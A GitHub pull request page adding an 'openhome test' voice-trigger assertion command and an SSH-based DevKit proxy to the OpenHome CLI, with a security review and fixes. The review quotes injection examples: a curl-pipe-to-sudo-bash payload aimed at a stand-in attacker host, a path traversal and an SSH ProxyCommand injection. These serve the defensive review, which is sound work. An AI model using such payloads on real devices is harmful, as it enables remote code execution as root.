Skip to content

feat: add openhome test — fire trigger + assert on frame stream#15

Open
realdecimalist wants to merge 3 commits into
openhome-dev:mainfrom
realdecimalist:feat/test-command
Open

feat: add openhome test — fire trigger + assert on frame stream#15
realdecimalist wants to merge 3 commits into
openhome-dev:mainfrom
realdecimalist:feat/test-command

Conversation

@realdecimalist
Copy link
Copy Markdown

Hi @Bradymck — per your suggestion in Discord about whether the harness I shared was worth merging into the CLI: here's a port. This turns the standalone voice-test.mjs we've been using on the DevKit into a proper subcommand.

Why

openhome chat and openhome trigger are great for "did anything come back", but iterating on a deployed ability still means reading WebSocket logs by eye and squinting for the right routing event / log line / spoken phrase. With the cloud module cache lag and routing nondeterminism, a tight assertion-based loop is the difference between 30s iterations and 5–15min ones.

Real-world motivation:

  • We hit exec_local_command-from-skill silent hangs (abilities#260) and session_tasks.create(self.run()) coroutine cancellation (abilities#261) — bugs we couldn't have characterized confidently without watching the frame stream programmatically across many runs
  • Cloud module caching (abilities#220) means "the new commit landed" doesn't always mean "the new code is running" — assertions catch this immediately

What it does

openhome test "any new tickets" \
  --expect-cap my-skill \
  --expect-log "STEP A0" \
  --expect-log "STEP D probe returned" \
  --expect-speak "Tickets:" \
  --reject-speak "couldn't generate" \
  --timeout 90000 --json
  • Opens a fresh voice-stream WebSocket via the existing createAgentSocket helper
  • Waits for the wake greeting (assistant final=true), then injects the trigger
  • Watches the frame stream for: chat_details:{name:...} (cap routing), editor_logging_handler log lines, and final assistant speech
  • Exits 0 on success, 1 on missed assertion / timeout, 2 on setup error
  • --json returns {ok, pass, asserts: [{kind, expression, met}...], elapsed_ms, log_file, agent, trigger}

Implementation

  • Reuses every WS abstraction the CLI already has — no new WebSocket lifecycle code, just a new consumer of createAgentSocket's onTextMessage / onEvent callbacks
  • Inherits getApiKey() precedence (env > keychain > config), agent resolution, and interactive-picker patterns from trigger.ts / logs.ts
  • --json shape matches the rest of the CLI: {ok: false, error: {code, message}} on failure
  • Pure helpers (src/testing/asserts.ts, src/testing/frame-log.ts) are isolated from I/O so they're trivially unit-testable

Files

File Purpose
src/commands/test.ts Command driver — auth, flag parsing, WS lifecycle
src/testing/asserts.ts Pure assertion tracker (cap / log / speak / reject)
src/testing/frame-log.ts Frame stream capture for --log-file debugging
src/testing/asserts.test.ts 8 vitest cases
src/testing/frame-log.test.ts 4 vitest cases
src/cli.ts Register test subcommand + agent-reference doc
README.md New openhome test section + API-status row

Tested

  • npm test — 12/12 pass (this is the first test file in the repo; vitest config was already in place)
  • npm run build — clean
  • npm run lint — no new errors (the pre-existing MockApiClient error is unrelated and on main)
  • Smoke-tested AUTH_ERROR / BAD_REGEX / MISSING_TRIGGER paths return well-formed JSON + exit 2
  • Used the standalone .mjs ancestor of this same harness over the past week to ship a real Penny ability against the OpenHome cloud — assertions caught routing regressions that voice-only testing missed

Caveat (documented in the README + JSON output)

openhome test opens a new voice-stream WS to the same agent, so if a hardware client (e.g. the OpenHome DevKit kiosk) is currently connected, the cloud will close that session ("Connection Replaced", code 1000). Iterate with test, then bring the hardware back online for final verification.

Happy to take feedback on the command name (test vs assert vs voice-test), the JSON shape, or anything else. Thanks for the prompt to upstream this!

Decimalist added 2 commits April 28, 2026 18:48
`openhome chat` and `openhome trigger` are great for "did anything come back",
but iterating on a deployed ability still meant reading WebSocket logs by eye
and squinting for the right routing event / log line / spoken phrase. This
command turns that loop into a fast PASS/FAIL.

Usage:
  openhome test "any new tickets" \
    --expect-cap my-skill \
    --expect-log "STEP A0" \
    --expect-speak "Tickets:" \
    --reject-speak "couldn't generate" \
    --json

What it does:
- Opens a fresh voice-stream WS via the existing `createAgentSocket` helper
- Waits for the wake greeting (assistant final=true), then injects the trigger
- Watches the frame stream for: `chat_details:{name:...}` (cap routing),
  `editor_logging_handler` log lines, and assistant final speech
- Exits 0 on success, 1 on missed assertion / timeout, 2 on setup error

Implementation notes:
- Reuses every WS abstraction the CLI already has — no new WebSocket lifecycle
  code, just a new consumer of `createAgentSocket`'s `onTextMessage` / `onEvent`
  callbacks
- Pure assertion tracker (`src/testing/asserts.ts`) and frame log
  (`src/testing/frame-log.ts`) are unit-tested with vitest (12 tests added)
- `--json` shape matches the rest of the CLI (`{ok, error: {code, message}}`
  on failure; `{ok, pass, asserts, elapsed_ms, log_file, ...}` on completion)
- Inherits `getApiKey()` precedence (env > keychain > config), agent
  resolution, and interactive picker patterns from `trigger.ts` / `logs.ts`

Tested:
- `npm test` — 12/12 pass (existing repo had no tests; vitest config was
  already in place, this is the first test file)
- `npm run build` — clean
- `npm run lint` — no new errors (pre-existing MockApiClient error on main)
- Smoke-tested AUTH_ERROR / BAD_REGEX paths return well-formed JSON + exit 2
- Used the standalone .mjs version of this same harness over the past week to
  ship a real ability against the OpenHome cloud — assertions reliably catch
  routing/log/speech regressions that voice-only testing misses
Local Abilities (the new `category: local`, announced 2026-05-04)
split execution: main.py runs in the cloud sandbox, devkit_functions.py
runs on the DevKit. When main.py calls send_devkit_capability_action(),
the cloud emits a `devkit-capability` frame and blocks awaiting a
`devkit-capability-result` ACK from the device.

Plain `openhome test` can't drive this round-trip: opening its own
voice-stream WS displaces the kiosk session, so the cloud routes the
dispatch back to the test harness rather than the Pi's node-server.
The harness records the frame but has no way to invoke
devkit_functions.py — main.py's await times out at ~8s with
`output: null`. End result: every Local Ability test fails to even
exercise the device-side code.

Fix: --proxy-pi <ssh-target> makes the test command mirror exactly
what the DevKit's node-server does on receipt of the frame
(`openhome-node-server/index.js:585+`):

  sudo python3 <cap_dir>/<capability_name>/devkit_functions.py \
    <function_name> <args...>

We capture stdout and ACK via `devkit-capability-result` on the
same WS. The cloud is none the wiser; main.py's await resolves with
the function's stdout, and speak() fires.

New flags:
  --proxy-pi <ssh-target>      e.g. openhome@192.168.1.42
  --proxy-pi-cap-dir <path>    override the local_capabilities path

The proxy logic lives in src/testing/devkit-proxy.ts as small pure
helpers (shq for shell quoting, buildRemoteCommand, buildResultFrame)
plus an injectable `exec` hook so the integration is unit-testable
without touching subprocess. 17 new tests cover quoting edge cases,
command construction, frame shape, and dispatch semantics. Total
suite goes from 12 → 29 tests, all passing.

Verified end-to-end against a real Local Ability (Penny's discord-pulse
rebuild) on the author's stack:
  $ "ticket pulse"   →  14s PASS, agent speaks the live ticket count
  $ "team pulse"     →  11s PASS, full multi-queue summary
  $ "approval pulse" →  11s PASS, approvals snapshot

Without this flag, every Local Ability deployed via `openhome deploy`
would need manual on-device voice testing — minutes per cycle vs. the
harness's <30s. With it, the test command is a strict superset of its
prior behavior (proxying only fires when the flag is set).
@realdecimalist
Copy link
Copy Markdown
Author

Hey @Bradymck — quick update on this PR. With Local Abilities shipping last week, I extended the harness so it can drive end-to-end tests of category: local abilities too. Without it, opening a fresh voice-stream WS displaces the kiosk session and the cloud routes devkit-capability dispatches back to the test client (us) instead of the Pi — so the harness can record the frame but not ACK it, and main.py's await send_devkit_capability_action() always times out.

The new --proxy-pi <ssh-target> flag makes the test command mirror what the DevKit's openhome-node-server/index.js:585+ does on receipt of the frame: SSH-exec the same sudo python3 .../devkit_functions.py <fn> <args> and ACK with devkit-capability-result. The cloud sees a normal device round-trip; main.py's await resolves with the function's stdout. Plain openhome test (no flag) is unchanged.

Verified end-to-end against the discord-pulse rebuild I shipped this morning as a Local Ability:

  • "ticket pulse" → 14s PASS, agent speaks the live ticket count from the host
  • "team pulse" → 11s PASS, multi-queue summary
  • "approval pulse" → 11s PASS, approvals snapshot

Total test count went 12 → 29 (devkit-proxy.test.ts covers shell-quoting edges, command construction, frame shape, dispatch semantics with an injectable exec hook so no subprocess in tests).

Happy to split this into a separate PR after #15 lands if you'd prefer to keep the initial harness review focused — let me know.

Copy link
Copy Markdown

@sentientari-commits sentientari-commits left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Really solid contribution — the --proxy-pi approach to the kiosk displacement problem is clever and the code is well-structured. Two blocking security issues in devkit-proxy.ts before this can merge, plus a few smaller items. All fixes are small.

Blocking:

  1. capability_name and function_name from the cloud WebSocket are embedded in an SSH shell command without sanitization — command injection + path traversal → RCE on the Pi under sudo
  2. capDir has the same problem in buildRemoteCommand
  3. Missing -- before the SSH target — SSH option injection

Non-blocking:
4. Unhandled promise rejection on handleDevkitCapability — silent crash in Node 15+
5. reject-speak hit doesn't settle fast — always shows reason: "timeout" instead of the actual rejection

Happy to discuss any of these. See inline comments for specifics.

function_name: string | null;
args: unknown[];
success: boolean;
output: string | null;
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[BLOCKING] Command injection + path traversal → RCE on Pi

capability_name arrives from the OpenHome cloud WebSocket and is interpolated directly into the remote shell command with no validation. shq() is applied to functionName and args but not to capabilityName, and it wouldn't help anyway — shq() prevents word splitting but doesn't strip shell metacharacters or path traversal sequences.

Two distinct attack vectors from the same root:

Shell injection — cloud sends:

{ "capability_name": "foo; curl https://attacker.com/shell.sh | sudo bash #" }

Remote shell sees:

sudo python3 /home/openhome/.../foo; curl https://attacker.com/shell.sh | sudo bash #/devkit_functions.py 'run'

Path traversal — cloud sends:

{ "capability_name": "../../../../../../tmp/evil" }

Resolves to sudo python3 /tmp/evil/devkit_functions.py — arbitrary file execution as root.

The sudo prefix makes both high severity. Fix with a strict allowlist at the entry point in handleDevkitCapability:

const SAFE_IDENT = /^[a-zA-Z0-9_-]+$/;
if (!SAFE_IDENT.test(cap) || !SAFE_IDENT.test(fn)) {
  return {
    type: "devkit-capability-result",
    data: { capability_name: cap ?? null, function_name: fn ?? null, args: [], success: false, output: null, error: "capability_name and function_name must be alphanumeric, hyphen, or underscore only" },
  };
}

Also wrap script in shq() as defence-in-depth:

return `sudo python3 ${shq(script)} ${shq(functionName)}${argsShell ? " " + argsShell : ""}`;

function_name: string | null;
args: unknown[];
success: boolean;
output: string | null;
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[BLOCKING] capDir is also unquoted in the shell command

Same issue as capability_namecapDir comes from --proxy-pi-cap-dir (CLI flag, so trusted today) but is never passed through shq() before being embedded in the remote shell command string. Any future code path that sources capDir from less-trusted input would be immediately exploitable.

Fix: shq(capDir) in the path construction:

const script = `${shq(capDir)}/${capabilityName}/devkit_functions.py`;

(After the SAFE_IDENT allowlist guard on capabilityName above is also in place.)

const DEFAULT_CAP_DIR = "/home/openhome/openhome_devkit/local_capabilities";

/**
* POSIX shell-escape a string. Wraps in single quotes and escapes any
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[BLOCKING] SSH option injection — missing -- before target

target is passed directly as a positional argument to spawn('ssh', [..., target, command]). SSH parses arguments left-to-right and treats anything starting with - as an option, not a hostname. A target like -oProxyCommand=malicious_cmd user@host would inject an SSH ProxyCommand, executing an arbitrary local command.

While --proxy-pi is a CLI flag (trusted in normal use), adding -- is a one-character fix that closes the injection surface permanently:

const child = spawn("ssh", [
  "-o", "BatchMode=yes",
  "-o", `ConnectTimeout=${SSH_CONNECT_TIMEOUT_S}`,
  "--",   // <-- prevent option injection
  target,
  command,
]);

Comment thread src/commands/test.ts
triggerSent = true;
setTimeout(() => {
if (settled) return;
log.push("test", `sending trigger "${trigger}"`);
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Non-blocking] Unhandled promise rejection — silent crash in Node 15+

handleDevkitCapability(...).then(...) has no .catch(). sshExec resolves rather than rejects on SSH failure, so the happy path is fine — but any unexpected throw inside handleDevkitCapability or buildRemoteCommand produces an unhandled rejection. In Node.js 15+, that crashes the process with no output, no log file written, and settle() never called, so CI consumers get nothing instead of a failure result.

handleDevkitCapability(frame, { sshTarget: opts.proxyPi, capDir: opts.proxyPiCapDir })
  .then((resultFrame) => {
    log.push("proxy-pi", `result success=${resultFrame.data.success}`);
    socket.send(resultFrame.type, resultFrame.data);
  })
  .catch((err) => {
    const msg = err instanceof Error ? err.message : String(err);
    log.push("proxy-pi-error", msg);
    settle({ pass: false, reason: `devkit proxy error: ${msg}` });
    socket.close();
  });

Comment thread src/testing/asserts.ts
if (this.speakSeen.some((s) => !s)) return false;
return true;
}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Non-blocking] reject-speak hit doesn't fail fast — always reports timeout as the reason

When a rejectSpeak pattern fires, done() returns false permanently. The onEvent handler in test.ts only calls settle() when asserts.done() is true, so the run continues until the timeout fires and settles with reason: "timeout" — masking the actual rejection. The asserts.toRecords() output does show the reject hit, but the top-level reason string is misleading, especially in CI --json output.

In test.ts onEvent, add a fast-settle check after each observeAssistantSpeak call:

if (asserts.rejected()) {
  const hit = asserts.toRecords().find(r => r.kind === 'reject' && r.hit)?.hit ?? '';
  settle({ pass: false, reason: `rejected-speak: ${hit.slice(0, 120)}` });
  socket.close();
  return;
}

@Bradymck Bradymck dismissed sentientari-commits’s stale review May 18, 2026 03:06

Posted from wrong account — review stands, re-filed by @Bradymck

Copy link
Copy Markdown
Collaborator

@Bradymck Bradymck left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Really solid contribution — the --proxy-pi approach to the kiosk displacement problem is clever and the code is well-structured. Two blocking security issues in devkit-proxy.ts before this can merge, plus a few smaller items. All fixes are small.

Blocking:

  1. capability_name and function_name from the cloud WebSocket are embedded in an SSH shell command without sanitization — command injection + path traversal → RCE on the Pi under sudo
  2. capDir has the same problem in buildRemoteCommand
  3. Missing -- before the SSH target — SSH option injection

Non-blocking:
4. Unhandled promise rejection on handleDevkitCapability — silent crash in Node 15+
5. reject-speak hit doesn't settle fast — always shows reason: "timeout" instead of the actual rejection

Happy to discuss any of these. See inline comments for specifics.

function_name: string | null;
args: unknown[];
success: boolean;
output: string | null;
Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[BLOCKING] Command injection + path traversal → RCE on Pi

capability_name arrives from the OpenHome cloud WebSocket and is interpolated directly into the remote shell command without validation. shq() is applied to functionName and args but not to capabilityName — and even if it were, shq() prevents word splitting but does not strip shell metacharacters or ../ path traversal.

Shell injection — cloud sends { "capability_name": "foo; curl https://attacker.com/shell.sh | sudo bash #" }, remote shell executes the curl as a separate command with sudo context.

Path traversal — cloud sends { "capability_name": "../../../../../../tmp/evil" }, resolves to sudo python3 /tmp/evil/devkit_functions.py.

Fix: allowlist at the handleDevkitCapability entry point before anything reaches buildRemoteCommand:

const SAFE_IDENT = /^[a-zA-Z0-9_-]+$/;
if (!SAFE_IDENT.test(cap) || !SAFE_IDENT.test(fn)) {
  return { type: "devkit-capability-result", data: { ..., success: false, error: "capability_name/function_name must be [a-zA-Z0-9_-] only" } };
}

Also add shq(script) in buildRemoteCommand as defence-in-depth:

return `sudo python3 ${shq(script)} ${shq(functionName)}...`;

function_name: string | null;
args: unknown[];
success: boolean;
output: string | null;
Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[BLOCKING] capDir is also unquoted in the shell command

Same root cause — capDir is never passed through shq() before being embedded in the remote shell string. Today it comes from --proxy-pi-cap-dir (a CLI flag, so trusted), but it is unquoted in a shell context. If this path is ever sourced from less-trusted input it is immediately injectable.

One-line fix in buildRemoteCommand:

const script = `${shq(capDir)}/${capabilityName}/devkit_functions.py`;

(The SAFE_IDENT guard on capabilityName still needs to be the primary control.)

const DEFAULT_CAP_DIR = "/home/openhome/openhome_devkit/local_capabilities";

/**
* POSIX shell-escape a string. Wraps in single quotes and escapes any
Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[BLOCKING] Missing -- before SSH target — option injection

target is passed as a positional argument to spawn("ssh", [..., target, command]) with no separator. SSH parses anything starting with - as a flag, not a hostname. A value like -oProxyCommand=malicious_cmd user@host would inject an SSH directive and execute an arbitrary local command.

One-character fix:

const child = spawn("ssh", [
  "-o", "BatchMode=yes",
  "-o", `ConnectTimeout=${SSH_CONNECT_TIMEOUT_S}`,
  "--",      // prevents option injection
  target,
  command,
]);

Comment thread src/commands/test.ts
log.push("test", `sending trigger "${trigger}"`);
socket.send("transcribed", trigger);
}, TRIGGER_DELAY_MS);
return;
Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Non-blocking] Unhandled promise rejection — silent crash in Node 15+

handleDevkitCapability(...).then(...) has no .catch(). sshExec resolves rather than rejects on SSH failure, so the common path is fine — but any unexpected throw inside handleDevkitCapability or buildRemoteCommand produces an unhandled rejection. In Node 15+, that terminates the process immediately with no log file written and no JSON output.

handleDevkitCapability(frame, { sshTarget: opts.proxyPi, capDir: opts.proxyPiCapDir })
  .then((resultFrame) => {
    log.push("proxy-pi", `result success=${resultFrame.data.success}`);
    socket.send(resultFrame.type, resultFrame.data);
  })
  .catch((err) => {
    const msg = err instanceof Error ? err.message : String(err);
    log.push("proxy-pi-error", msg);
    settle({ pass: false, reason: `devkit proxy error: ${msg}` });
    socket.close();
  });

Comment thread src/testing/asserts.ts
if (this.speakSeen.some((s) => !s)) return false;
return true;
}

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Non-blocking] reject-speak hit always reports reason: "timeout" instead of the actual rejection

When a rejectSpeak pattern fires, done() returns false permanently. The onEvent handler in test.ts only calls settle() when asserts.done() is true, so the run keeps going until the timeout fires — then exits with reason: "timeout" rather than indicating the rejection. The asserts.toRecords() output does show which pattern fired, but the top-level reason string is misleading in --json CI output.

In test.ts onEvent, add a fast-settle check after each observeAssistantSpeak call:

if (asserts.rejected()) {
  const hit = asserts.toRecords().find(r => r.kind === "reject" && r.hit)?.hit ?? "";
  settle({ pass: false, reason: `rejected-speak: ${hit.slice(0, 120)}` });
  socket.close();
  return;
}

…n guard, unhandled-rejection catch, reject-speak fast-settle

Per Bradymck's review of openhome-dev#15:

Blocking (security):
- Add SAFE_IDENT (/^[a-zA-Z0-9_-]+$/) allowlist for capability_name and
  function_name at the handleDevkitCapability entry point — prevents
  shell-metacharacter injection and ../../ path traversal before
  anything reaches the remote sudo invocation. Returns a result frame
  with success=false and a clear error message; never calls exec.
- shq()-wrap the script path in buildRemoteCommand as
  defence-in-depth. Even with the allowlist, no untrusted value should
  land in shell context unquoted. (capDir is CLI-flag-only today, but
  this future-proofs the surface.)
- Add `--` before the SSH target in sshExec so a target starting with
  `-` can't be interpreted as an SSH option (e.g.
  -oProxyCommand=malicious_cmd).

Non-blocking:
- Add .catch() to handleDevkitCapability() in test.ts onEvent. Without
  it, any throw inside the proxy path becomes an unhandled rejection;
  Node 15+ terminates the process with no log file written and no JSON
  output. The catch routes the failure into settle() so CI consumers
  get a useful result instead of a silent kill.
- Add a fast-settle on asserts.rejected() right after each
  observeAssistantSpeak. Without this, a reject-speak hit keeps
  done() returning false until the timeout fires, and the top-level
  reason in --json output reads "timeout" instead of the actual
  rejection. The reject text now flows through as the reason.

Tests:
- Update three buildRemoteCommand expectations for the new shq(script)
  wrap.
- Add 4 new cases covering the security allowlist: shell injection in
  capability_name, path traversal in capability_name, shell injection
  in function_name, and a happy-path that confirms exec is still
  called for well-formed identifiers and the path is shq-wrapped.

29 → 33 tests, all passing.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
@realdecimalist
Copy link
Copy Markdown
Author

Thanks for the thorough review @Bradymck — really appreciate the security walk-through. Just pushed acc37a1 addressing all five items:

Blocking (security):

  1. Allowlist at the entry pointhandleDevkitCapability now rejects capability_name / function_name that don't match /^[a-zA-Z0-9_-]+$/ with a failure result frame, before anything reaches buildRemoteCommand. Closes the shell-injection and ../ path-traversal vectors at the source.
  2. shq() on the script pathbuildRemoteCommand now shq()-wraps the constructed script path as defence-in-depth. Belt-and-suspenders: even if a future change loosens the allowlist, no untrusted value lands in shell context unquoted.
  3. -- before SSH targetsshExec now passes -- before target so any value starting with - can't be interpreted as an SSH option (no more -oProxyCommand=... injection surface).

Non-blocking:

  1. .catch() on handleDevkitCapability — the .then(...) in test.ts onEvent now has a matching .catch(...) that routes any thrown error through settle({ pass: false, reason: ... }) and closes the socket. CI consumers will now get a JSON failure result instead of a silent Node 15+ termination.
  2. Fast-settle on asserts.rejected() — added right after each observeAssistantSpeak. A reject-speak hit now settles immediately with reason: \"rejected-speak: <content>\" instead of letting the run idle until the timeout fires and reporting reason: \"timeout\".

Tests: updated 3 buildRemoteCommand expectations for the new shq(script) wrap; added 4 new cases covering the security allowlist (shell injection in capability_name, path traversal in capability_name, shell injection in function_name, plus a happy-path that confirms exec is still called for well-formed identifiers and the script path is shq-wrapped). 33/33 passing (was 29/29).

No behavioral changes for the happy path on existing callers. Let me know if you want any additional cases.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants